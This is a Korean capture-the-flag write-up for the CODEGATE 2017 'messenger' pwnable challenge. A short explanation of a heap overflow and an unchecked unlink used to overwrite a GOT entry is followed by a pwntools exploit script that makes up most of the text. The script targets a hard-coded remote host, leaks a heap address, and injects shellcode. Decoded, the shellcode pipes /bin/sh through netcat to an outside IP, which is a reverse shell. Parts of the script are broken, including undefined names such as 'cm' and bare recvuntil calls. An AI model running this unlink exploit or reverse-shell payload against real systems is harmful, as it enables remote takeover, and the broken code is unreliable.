개요

CODEGATE 2017 예선 문제 messenger 에 대한 풀이 (430 point, pwnable)

-1


풀이

-2

message를 남기고, 지우고, 수정하고, 볼 수 있는 시스템이다.
message를 남길 때는 최대 두 개까지 남길 수 있으며, 삭제하더라도 새로 쓰지 못 한다.
그리고 최대 사이즈는 32바이트이다.

-3

message를 수정할 때는 인덱스를 선택하여 해당 message를 수정할 수 있으며, 이때 사이즈도 변경할 수 있는데 변경하는 범위에는 제한이 없다.
여기서 Heap Overflow 가 발생한다.

이 서비스에 등장하는 Heap 구조는 다음과 같다.

-4

힙이 할당되면 위와 같은 구조를 갖는데, 2번 메뉴를 통해 Remove 할 경우에는

-5

*(PREV_CHUNK+8)= NEXT_CHUNK
*(NEXT_CHUNK+16) = PREV_CHUNK
로 치환이 일어난다.
이때 PREV_CHUNK와 NEXT_CHUNK에 대한 검사를 하지 않기 때문에 이를 조작하여 GOT를 shell code 의 주소로 overwrite 가 가능하다.

from pwn import *

host = '110.10.212.137'
port = 3333

r = remote(host, port)

print recvuntil(">> ")
r.sendline("L")
print recvuntil(": ")
r.sendline("20")
print recvuntil("msg : ")
r.sendline("asdf")

print recvuntil(">> ")
r.sendline("L")
print recvuntil(": ")
r.sendline("20")
print recvuntil("msg : ")
r.sendline("asdf")

heap = 0
for i in range(8):
	print recvuntil(">> ")
	r.sendline("C")
	print recvuntil(": ")
	r.sendline("0")
	print recvuntil(": ")
	r.sendline("300")
	print recvuntil("msg : ")

	got = 0x602018
	prev_ck = p64(got - 8)
	cmd = "A"*24+"A"*(8+i)
	r.send(cmd)
	print repr(cmd)
	
	print recvuntil(">> ")
	r.sendline("V")
	print recvuntil(": ")
	r.sendline("0")
	print "end"

	print hex(u64(r.recv(8)))
	print hex(u64(r.recv(8)))
	print hex(u64(r.recv(8)))
	print hex(u64(r.recv(8)))
	for j in range(i):
		r.recv(1)
	tmp = u8(r.recv(1))
	if tmp != 0x0a:
		for j in range(i):
			tmp = tmp * 0x100
		heap += tmp
	print hex(heap)

shellcode = "\x90"*160
shellcode += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x38\x00\x00\x00\x6e\x63\x20\x31\x36\x38\x2e\x31\x38\x38\x2e\x31\x32\x33\x2e\x32\x31\x31\x20\x32\x30\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x7c\x20\x6e\x63\x20\x31\x36\x38\x2e\x31\x38\x38\x2e\x31\x32\x33\x2e\x32\x31\x31\x20\x32\x31\x00\x56\x57\x48\x89\xe6\x0f\x05"

offset = 0x603060 - 0x602018
got = 0x602018
got = 0x602058
next_ck = p64(got - 16)
prev_ck = p64(heap)
print hex(u64(next_ck))
	
print recvuntil(">> ")
r.sendline("C")
print recvuntil(": ")
r.sendline("0")
print recvuntil(": ")
r.sendline("400")
print recvuntil("msg : ")
cmd = "A"*24+"A"*8 + next_ck + prev_ck + shellcode
print repr(cmd)
r.sendline(cm)


print recvuntil(">> ")
r.sendline("R")
print recvuntil(": ")
r.sendline("1")

r.sendline("L")

r.interactive()